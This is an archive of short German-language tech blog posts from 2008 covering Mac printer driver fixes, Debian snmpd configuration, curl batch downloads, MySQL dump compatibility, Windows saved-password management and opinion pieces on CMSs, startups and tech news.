Auf mich allein gestellt tauchte ich tiefer in die Dateistruktur von Mac OS X ab auf der Suche nach den PPDs. Hilfreich war How Mac OS X Searches for and Chooses PPD Files, welches die von Mac OS X verwendeten Ordner für Druckertreiber explizit angab:
- /Library/Printers/PPDs/Contents/Resources/
- /System/Library/Printers/PPDs/Contents/Resources/
Ein
$ find . -name pstophaserps
in diesen Ordnern führte kein Binary pstophaserps zutage, das - gemäss meiner Übersetzung des Dateinamens - Postscript zu Phaser-tauglichen Postscript umwandelt.
Immerhin fand ich das PPD des Xerox Phaser 6300DN, öffnete dieses in einem Text-Editor und fand rasch die Zeile
*cupsFilter: "application/vnd.cups-postscript 0 /Library/Printers/Xerox/PDEs/pstophaserps"
Dieses olle Binary hätte als in /Library/Printers/Xerox/PDEs/ liegen müssen - tat es aber nicht. Ein Augenschein vor Ort liess mir ein Lichtlein aufgehen: Im Ordner fand sich ein Binary namens pstoxeroxps! Waren die Treiberentwickler wirklich so unfähig ...
... ja! Nachdem ich einen symbolischen Link erstellt hatte
$ cd /Library/Printers/Xerox/PDEs/ $ sudo ln -s pstoxeroxps pstophaserps
und einen weiteren Druckauftrag ausführte, ratterte es endlich im Drucker, und mein Dokument wurde gedruckt.
Danke, Xerox, für die gute Arbeit!
Labels: Druck, IT, PC-Support
Montag, Januar 05, 2009
snmpd 5.4 unter Debian geschwätzig machen
Obwohl ich hier bereits in verschiedensten Artikeln lusche Sicherheitsvorkehrungen angeprangert habe, halte ich es bei SNMP genau so: Hauptsache offen wie ein Scheuenentor. Das Protokoll ist derart kompliziert, dass ich beim Debugging nicht Zeit verlieren möchte.
Auf Servern, die ich mit cacti überwachen möchte, installiere ich normalerweise folgende snmpd.conf:
sysLocation Raum 1 sysContact Mario Aeby# rocommunity public 192.168.0.1 #rocommunity public 192.168.0.0/24 # includeAllDisks # proc load
Auf einem Debian-System mit snmpd 5.4.1~dfsg-12 wollte obige Konfiguration aber nicht und spuckte drei Fehlermeldungen aus (zu finden in /var/log/daemon.log):
Jan 5 16:26:42 snmpd[13111]: /etc/snmp/snmpd.conf: line 7: Error: Blank line following includeAllDisks token. Jan 5 16:26:42 snmpd[13111]: /etc/snmp/snmpd.conf: line 9: Error: Blank line following proc token. Jan 5 16:26:42 snmpd[13111]: /etc/snmp/snmpd.conf: line 10: Error: Blank line following load token.
Die für snmpd 5.4 überarbeitete Version der Konfiguration sah deshalb folgendermassen aus:
sysLocation Raum 1 sysContact Mario Aeby# rocommunity public 192.168.0.1 #rocommunity public 192.168.0.0/24 # includeAllDisks 10% # load 1
Doch damit war nicht genug - snmpwalk wollte partout nur bei einem Testlauf von localhost Werte liefern.
Ein Blick in die Prozessliste machte schliesslich das Übel rasch erkennbar:
13491 ? S 0:01 /usr/sbin/snmpd -Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1
127.0.0.1 wies snmpd an, nur auf dem lo-Interface zu lauschen.
Ich öffnete snmpds Ohren, indem ich die Datei /etc/default/snmpd anpasste und dort die Zeichenkette 127.0.0.1 entfernte.
(Falls jemand eine schönere Umgehungsmöglichkeit kennt, soll er diese als Kommentar posten. Danke!)
Samstag, Dezember 20, 2008
Schluss machen über Facebook, gefeuert über Twitter
Okey, letzteres nicht ganz, ich habe etwas geflunkert:
"I'll just get straight to the point. You've been affected by the layoffs."
Before I'd even finished the call, I twittered (to my private account):
"Wow. I just got fired."
Quelle: kewlchops: Not quite what I had in mind.
Die virtuelle Realität nimmt Überhand.
Immerhin kann ich jetzt die Facebook Profil-Fotos meiner Kollegen mit Apples AddressBook.app synchronisieren:
Labels: Arbeitsleben, Beziehung, Facebook, Gesellschaft, IT, Twitter
Freitag, Dezember 19, 2008
Europa kein Nährboden für Internet-Startups?
[...] all these two hour lunches over a bottle or two of great wine and general unwillingness to do whatever it takes to compete and win is the reason why all the big public Internet companies are U.S. based. And those European startups that do manage to break through cultural and tax hurdles and find success are quickly gobbled up by those U.S. companies. Skype (acquired by eBay) and MySQL (acquired by Sun) are recent examples.
Quelle: Joie De Vivre: The Europeans Are Out To Lunch
Nun ja ... Arrington mag sicherlich recht haben, dass wir Europäer dank unseren vorzüglichen Sozialversicherungen und Umverteilungsmechanismen (auch?) bezüglich Internet-Startups nicht in die Gänge kommen. Wie es rauskommt, wenn man den Amis alles nachmacht, sieht man ja exemplarisch im Bankensektor: Nach den Jahren mit Milliardenprofiten wurde der Wagen innert eines Jahres gehörig an die Wand gefahren. Daraus resultierte nicht nur Totalschaden, die Wand ist auch gleich noch eingestürzt ...
Man beachte: Wenn Skype und MySQL die einzigen Argumente sind, mit der Arrington auftrumpfen kann, fällt seine Hypothese arg in sich zusammen. Ich kann mich jedenfalls nicht erinnern, dass die Mutterkonzerne eBay und Sun in den letzten Wochen und Monaten positive Nachrichten produziert haben. Von "erfolgreichen" Unternehmen möchte ich bei diesen zwei Platzhirschen nun wirklich nicht sprechen.
Man kann es auch anders rum drehen: Obwohl sich die lieben Amis abrackern wie die Affen, bringen sie es nicht auf den grünen Zweig. Eine enorme Staats- und Privatverschuldung, unzählige Working Poors, die Ghettoisierung der Unterschicht, eine marode Infrastruktur - nicht gerade Dinge, mit denen man derzeit im Ausland gut punkten kann.
Labels: Europa, Gesellschaft, IT, USA, Web
Donnerstag, Dezember 18, 2008
Pleite-Geeks in den USA
I could either sign on as a Microsoft employee or quit and go GitHub full time. At 29 years old, I was the oldest of the three GitHubbers, and had accumulated a proportionally larger amount of debt and monthly expenditure.
Quelle: How I Turned Down $300,000 from Microsoft to go Full-Time on GitHub
29-jährig und verschuldet- trotz 100%-Job in der IT-Branche? Das schafft man nur in Amerika ...
Labels: Arbeitsleben, Gesellschaft, IT, USA, Web-Entwicklung, Wirtschaft
Dienstag, Dezember 16, 2008
Maxomedia frickelt
Im Grunde handelt es sich beim Rabatt-Spiel des PostShops (aka "Speedfingerzzz" - der Name könnte von Mäschu erfunden worden sein) um eine der besten Spielideen der letzten Monate - wenn die Leute das Spiel denn auch spielen könnten. Seit gestern Abend erhalte ich im Flash-Game die Fehlermeldung "Fehler: Netzwerkverbindung unterbrochen" zu Gesicht und kann mich nicht einmal im ersten Level mit den anderen Spielern messen.
Dank der Aktivitäts-Anzeige von Safari wird schnell klar, wo es harzt: Gewisse URLs werden von Safari mit einer roten Fehlermeldung internal server error gekennzeichnet. Öffnet man die URL mit Doppelklick, kommt es noch besser: Microsoft wirft einem einen XML-Fehler an den Kopf:
error on line 2 at column 60: Space required after the Public Identifier
Schaut man sich den Quelltext des ausgelieferten Dokuments an, wird plötzlich alles klar: Microsoft am Werk!
ASP 500-100 Fehlermeldung auf post-speedfinger.mxm.ch
Fehlertyp:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
The transaction log for database 'spi_wordmaster' is full. To find out why space in the log cannot be reused, see the log_reuse_wait_desc column in sys.databases
/_core/functions/game.asp, line 99
Querystring:
random=1229460234988&op=start
Browsertyp:
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12
Seite:
GET /_service/level.asp
Zeit:
Dienstag, 16. Dezember 2008, 21:49:59
SessionID:
1002476129
Referer:
Quelle: post-speedfinger.mxm.ch/_service/level.asp
Haaaaaalloooooo, ist bei Maxomedia jemand zu Hause? Was lernen wir daraus: Auch Klickibunti RDBMS aus Redmond sollten mit der gehörigen Sorgfalt unterhalten werden ...
Labels: Games, IT, Post, Web, Web-Entwicklung
Montag, Dezember 15, 2008
Unbeachtete Stärken von Programmierern
While people typically think of programmers as coders, whose main talent lies in writing the arcane syntax of programming languages. I think that their main talent lies in their ability to analyze, troubleshoot, and solve problems. Code is just the physical manifestation that culminates the thought process of the programmer.
Quelle: Eliminating the Programmer » “Hello World” - The SlickEdit Developer Blog
Labels: IT, Programmierung
Samstag, Dezember 13, 2008
State of the PHP CMS
Gestern Freitag führte ich auf der Zugfahrt von Bern nach Zürich ein Gespräch mit einem Bekannten. Unser Thema: Content Management Systeme. Genauer: CMS, die mit PHP programmiert werden. Dabei stellte er folgende These in den Raum:
Es gibt heute keine brauchbaren CMS auf Basis von PHP/MySQL
Nach einigen Schrecksekunden löste ich meine Totenstarre - und musste ihm beipflichten. Auf Anhieb kamen mir drei auf PHP basierende CMS in den Sinn - und alle fand ich Müll:
- Typo3. Überladen, unbrauchbare Oberfläche (Stand: ca. 2005). Und dann auch noch dieses unselige TypoScript!
- Joomla! Besser als Typo3, aber trotzdem nicht über alle Zweifel erhaben.
- Drupal. Bezüglich dem Gedanken dahinter ("alles ist ein Node") und den Features kein per se schlechtes Produkt. Professionelle PHP-Entwickler werden das Produkt aber aus zwei Gründen meiden: a) Konfiguration und Daten werden in der Datenbank heillos vermischt - es ist so kein sauberes Staging möglich (Konfiguration gehört gemäss dem Unix-Grundsatz "everything is a file" in das Filesystem, damit man es sauber versionieren kann). b) Die Dokumentation weisst erhebliche Mängel und Lücken auf.
Ein vielversprechendes, noch zu evaluierendes PHP-CMS ist mir vor einiger Zeit über den Weg gelaufen:
MODx - CMS and PHP Application Framework
Hoffen wir, dass deren Entwickler aus den gröbsten Fehlern gelernt haben.
Labels: IT, Web, Web-Entwicklung
Samstag, Dezember 13, 2008
Flickr an Microsoft?!
But clearly Flickr's no longer untouchable. Despite its reputation (or perhaps because of it) I was told that the site was among the assets Yahoo was prepared to sell to Microsoft
Quelle: Now Flickr is hit by Yahoo layoffs | Technology | guardian.co.uk
Meine Fresse ...
Mittwoch, Dezember 10, 2008
Perl 5 sucks!
Heute gerade erlebt:
For example, to install a module from the CPAN, you must first answer several questions to configure the CPAN client. Then, you download a package, which runs a small program, which generates a Makefile, which configures, builds, tests, and installs the module -- if everything went correctly.
Quelle: Five Features Perl 5 Needs Now - O'Reilly Broadcast
Ich wollte mir App::Ack installieren. Zuerst versuchte ich es als normaler User, was aber (wohl wegen den Berechtigungen) nicht geklappt hat. Der Fragekatalog wurde durchgespult, viele Module heruntergeladen und irgendwo unter den vorbeiflimmernden Zeilen gab es dann irgendwann einmal eine Fehlermeldung, die ich natürlich übersehen habe.
Die Installation via sudo klappte leider auch nicht viel besser - vorerst jedenfalls. Auch hier lief irgendein Test schief und Ack wurde nicht installiert. Zwar war anhand der Fehlermeldung erkennbar, dass etwas schief gelaufen war - wie das Problem zu beheben sei, erfuhr ich aber nicht. Es ist dem Zufall zuzuschreiben, dass ich im Anschluss einige als "optional" bezeichnete Test-Pakete installieren liess - und plötzlich war ack unter /usr/bin/ vorhanden. Heureka.
Was Perl braucht? Ein apt-get install ack - fertig. Obwohl ich Perl nicht gut genug kenne, denke ich, dass CPAN das Spiegelbild seiner Benutzer und seiner Programmierer ist: Umständlich, kompliziert, technikbesessen. Und somit für Endbenutzer wie mich nicht geeignet.
Dienstag, Dezember 09, 2008
Genetische Algorithmen
After testing the initial population, the genetic algorithm killed off the least fit individuals by deleting them and let the most fit produce copies of themselves--offspring. It mated some individuals, swapping sections of their code. Finally, the algorithm introduced a small number of mutations by randomly switching 1s and 0s within individual programs. It then downloaded the new population one at a time onto the FPGA and ran the fitness tests once more.
Quelle: http://www.cs.nyu.edu/courses/fall08/G22.2965-001/geneticalgex
Sehr spannender Versuch. Die Zukunft der Informationstechnologie? Oder das Ende der Menschheit?
Labels: Genetik, IT, Programmierung
Sonntag, Dezember 07, 2008
Verbannt Twitter-Direktnachrichten!
6. You ask me a question that requires a 500 word response but you ask it in a place that limits me to 140 characters. Thanks for frustrating me.
Scobles Rant kann ich aus eigener leidiger Erfahrung bestätigen und schliesse mich ihm an: Wer mich via Facebook oder Twitter mittels Privatnachricht kontaktiert, wird in den allermeisten Fälle nicht beachtet.
Insbesondere das Twitter-Feature war damals noch doppelt so nervig, als man noch SMS-Nachrichten auf's Handy erhielt.
Labels: Facebook, IT, Mobiltelefone, Twitter, Web
Mittwoch, Dezember 03, 2008
Jetzt wächst zusammen ...
... was zusammen gehört! Die Yahoo! Toolbar! und Java - niemand würde widersprechen, dass eine naturgegebene Abhängigkeit der beiden Produkte besteht.
The Yahoo! Toolbar is integrated with Java Runtime Environment (JRE) download. During the installation of JRE, users are also presented with an option of downloading the Yahoo! Toolbar.
Donnerstag, November 27, 2008
Google die Fehlermeldung!
"Ninety percent of the battle in terms of resolving an issue is defining an issue," Meister says. "So when you do get an error message, stop, read and record it, and look it up. Even taking that first line of that error message and putting it into Google will save you a lot of time down the road."
Quelle: Fatal Error: Your PC's down. Now what?
Ich verwundere mich immer wieder ...
- ... wie viele Leute Fehlermeldungen auf ihrem Computern nicht aufschreiben (noch einfacher: Profis machen gleich ein Bildschirmfoto)
- ... wie viele Leute die Fehlermeldung nicht in das Google-Suchfeld eintippen und mal suchen, ob noch jemand anderes dieses Problem gehabt hat und auf derselben Web-Seite auch gleich noch die funktionierende Lösung präsentiert.
Neben der Ignoranz gegenüber Google als "persönlicher PC-Supporter" mag es sicherlich auch noch eine Rolle spielen, dass viele Lösungsvorschläge in englischer Sprache abgefasst sind. Aber auch, dass die Suchresultate oft nur von erfahrenen Anwendern nach tatsächlicher Relevanz bewertet werden können.
Dank: Bäschtu
Labels: Google, IT, PC-Support
Mittwoch, November 19, 2008
Mit cURL Serien von Dateien herunterladen
Nichts leichter als das:
$ curl "http://www.eMeidi.com/downloads/[1-15].jpg" -o image_#1.jpg
In diesem Fall geht der Downloader davon aus, dass im Ordner downloads auf meinem Server folgende Dateien liegen:
http://www.eMeidi.com/downloads/1.jpg http://www.eMeidi.com/downloads/2.jpg http://www.eMeidi.com/downloads/3.jpg ... http://www.eMeidi.com/downloads/15.jpg
Indem man eine Range angibt (in eckigen Klammern, "von bis"), berechnet cURL diese URLs eigenhändig und versucht diese anschliessend herunterzuladen. Damit die Dateien auf der Festplatte gespeichert werden, muss dies mit dem Schalter -o kundgetan werden. Da eine Range eingesetzt wird, dient #1 als Platzhalter. In unserem Beispiel liegen nach dem Batch-Download folgende Dateien im Verzeichnis:
image_1.jpg image_2.jpg image_3.jpg ... image_15.jpg
Dienstag, November 18, 2008
Wie man Safaris Web Inspector korrekt benutzt
Note: The error console must be open when website is loaded in order to display errors. If you open the error console after a page has loaded, the display is blank; reload the page to see any errors.
Quelle: Safari User Guide for Web Developers: The Develop Menu
Weitere Vorkehrungen: Die Console darf nicht aktiviert sein (am Besten auf Documents wechseln).
Labels: Apple, Browser, IT, Web, Web-Entwicklung
Montag, November 17, 2008
Steuerverwaltung Bern VoIPt!
Wundern Sie sich nicht, wenn Sie künftig eine/n Mitarbeitende/n der Steuerverwaltung direkt anrufen und auch für Biel, Burgdorf und Thun 031 6xx xx xx wählen müssen. Wir haben die Kreisverwaltungen in keiner Art und Weise zentralisiert, sondern diese lediglich an die zentrale Telefonieanlage in Bern angeschlossen. Neu telefoniert nämlich die gesamte Steuerverwaltung – zur Zeit noch ohne die Kreisverwaltung in Moutier – über vorhandene Datenleitungen mit Voice over IP (VoIP).
Dadurch ist es möglich, dass wir alle rund 300'000 Anrufe, die jährlich über die zentrale Nummer 0848 844 411 bei uns eintreffen, kostenlos – weil intern – an die Kreisverwaltungen weiterleiten können. Ein weiteres Plus: Alle Mitarbeitenden innerhalb der Steuerverwaltung telefonieren nun gebührenfrei.
Quelle: Mail von 10minuten@fin.be.ch vom 14. November 2008.
Und dann sagt man immer, wir Berner seien langsam. Bezüglich Informationstechnologie scheint die kantonalbernische Steuerverwaltung nicht auf die Nase gefallen zu sein - bereits mit der TaxMe CD als auch mit TaxMe online verfügen wir Berner über einfach zu bedienende Software, um unsere Steuern zeitsparend zu erfassen (wobei ich immer noch Bekannt haben, die lieber dem Papier vertrauen. Es könnte ja sein, dass die Software falsch rechnet und man 50 Rappen zu viel steuern zahlt - Skandal!)
PS: Nur die Bern-Jurassier fahren anscheinend noch ein Sonderzüglein ... Wen wunderts?
Labels: Bern, IT, Steuern, Verwaltung, VoIP
Montag, November 17, 2008
WordPerfect-Entwickler mag keine Homo-Ehen
Im Gegensatz zu Hotels von Mormonen aus dem etwas östlicher liegenden Bundesstaat Utah gibt es hierbei aber kaum etwas zu boykottieren:
Well, I suppose since pretty much no one actually uses WordPerfect anymore there’s nothing for the opponents of Prop 8 to boycott.
Quelle: Truemors :: WordPerfect Co-Founder Donated $1M to Support Gay Marriage Ban
Labels: Demokratie, IT, Kalifornien, Politik
Freitag, November 14, 2008
Typo3 gehackt ...
... bei dem Frickel-CMS ja auch kein Wunder:
We have to inform you that an unauthorized person has gained administrative access to the TYPO3.org website.
Quelle: Mail von t3orgissue@typo3.org vom 14. November 2008, 12:12 Uhr
Donnerstag, November 13, 2008
c't Umfragen zu Service und Support bei Notebooks
Auch wer nicht Abonnent der Zeitschrift ist, kommt dank Notebook-Herstellern zu den erhellenden Artikeln:
- c't 2008/08: Vertrauensfrage (2008)
- c't 2007/06: Ratlose Kunden (2007)
Freitag, November 07, 2008
Datenbankdump von MySQL 5 nach MySQL 4
Den ursprünglichen Dump stellte ich mit phpMyAdmin her. Leider erlaubt die Web-Applikation nicht, den Charset des Dumps von UTF-8 nach LATIN1 (aka ISO-8859-1) anzupassen.
Deshalb ging es auf die Kommandozeile des Servers:
mysqldump --default-character-set=latin1 --compatible=mysql40 -u {user} -p {db} > dump.sql
Einerseits konnte ich so das Charset des Dumps festlegen (--default-character-set=latin1), andererseits musste ich aber auch auf die Kompatibilität achten (--compatible=mysql40). Leider war es mit letzterem Versprechen nicht wirklich weit her ...
Auf Grund eines seit Monaten bestehenden Bugs in MySQL 5 enthielt der mysqldump-Dump Befehle, die MySQL 4.0.x nicht versteht:
SET @saved_cs_client = @@character_set_client; SET character_set_client = @saved_cs_client;
... was MySQL 4 folgende Fehlermeldung ausgeben liess:
#1193 - Unknown system variable 'character_set_client'
Mittels vim (die GUI-Editoren unter Mac OS X mit Syntax-Highlighting kapitulierten vor 4000+ Zeilen) konnte ich den Dump dann doch noch derart zurechtbiegen, dass MySQL 4 die Datei schlussendlich schluckte. Der Befehl dazu lautete:
:g/^SET/d
Via: Vim: Delete every line in the file that does not match a pattern
Dieser vim-Befehl löscht kurzerhand alle Zeilen, die mit SET ... beginnen. Scheint dem Import nicht geschadet zu haben ...
Mittwoch, November 05, 2008
Gespeicherte Passwörter für Netzwerk-Freigaben löschen
In Windows XP besteht die Möglichkeit, die Zugangsdaten beim Verbinden mit einer Netzwerkfreigabe zu speichern. Um ein gespeichertes Passwort zu löschen, bemühe man sich des folgenden Tools:
rundll32.exe keymgr.dll, KRShowKeyMgr
Ähnlich wie die Apple Keychain zeigt dieses Tool alle im Laufe eines Windows-Lebens gespeicherten Passwörter für Freigaben an.
Labels: IT, Microsoft, PC-Support, Windows
Montag, November 03, 2008
Gilt Moore's Law auch für CEOs?
Was das Moore's Law für die Semikonduktor-Industrie ist, ist wohl etwas ähnliches auch für die CEOs gültig:
“I am old enough to have known both the CEO's of 20 years ago and those today. I can assure you that we CEO's of today are NOT 10 times better than those 20 years ago.” ––– William McDonough, Former New York Federal Reserve Governor.
Labels: Finanzkrise, Funny, IT, Wirtschaft, Zitat
Donnerstag, Oktober 30, 2008
Jungs, TWiki ist es nicht wert ...
From that minute on, all long-time contributors have lost access to their code. Counter-reaction: the community has left the building, leaving TWIKI.NET without a contributing community.
Quelle: Hostile takeover of Open Source Project TWiki - WikiRing Blog
Wer einmal versucht hat, ein eigenes TWiki-Theme zu erstellen, ist froh, wenn das Projekt so rasch als möglich stirbt ... Ich habe noch nie derart verschachtelten Perl-Code mit Dutzenden von Includes gesehen.
Labels: IT, Web, Web-Entwicklung
Mittwoch, Oktober 29, 2008
Bechtel lernt von Google
Bechtel estimated that Google used 12 system administrators for every 200,000 servers, or roughly 17,000 servers per system administrator. Bechtel, on the other hand, was operating with 1,000 servers per system administrator.
Quelle: http://www.networkworld.com/news/2008/102908-bechtel.html
Montag, Oktober 27, 2008
Regex (Reguläre Ausdrücke) im Sandkasten testen
Regular Expression sind für viele Voodoo, für den fortgeschrittenen Programmierer aber ein unentbehrliches Hilfsmittel. Hier einige Tools, die dem Anfänger helfen, Reguläre Ausdrücke am "lebenden Beispiel" zu meistern:
- Mac OS X: RegexPlor
- Mac OS X: Reggy
- Windows: RegexBuddy (30EUR)
- Multi-Plattform (AIR): RegExr Desktop
Empfehlungen Dritte
- Online: RegEx Assistant & Tester
- Windows: Regex Coach
Labels: IT, PHP, Programmierung
Sonntag, Oktober 26, 2008
Apple setzt in Snow Leopard weiterhin auf Resource Forks
Und das nervt! Ressource Forks sind scheisse, nicht zuletzt, weil sie mit Unix Tools Probleme bereiten (bis diese umgeschrieben sind, wie bspw. rsync).
- File compression has been added to the HFS+ file system. [...]
Developers who write disk utility programs may need to recognize these files exist, and some details about how they are implemented. In the st_flags field of the stat struct of a compressed file, bit SF_COMPRESSED will be set to indicate that the file is compressed. In addition to this bit, the compression information will be stored in invisible extended attributes “com.apple.decmpfs” and possibly the “com.apple.ResourceFork”. On a Tiger or Leopard system, these files will show up as zero length and have the indicated extended attributes. On Snow Leopard, the file’s length will show up as its uncompressed length and these extended attributes will be invisible to your software.
Quelle: Latest Snow Leopard Build (10A190) Now Available [Seed Notes] | World of Apple


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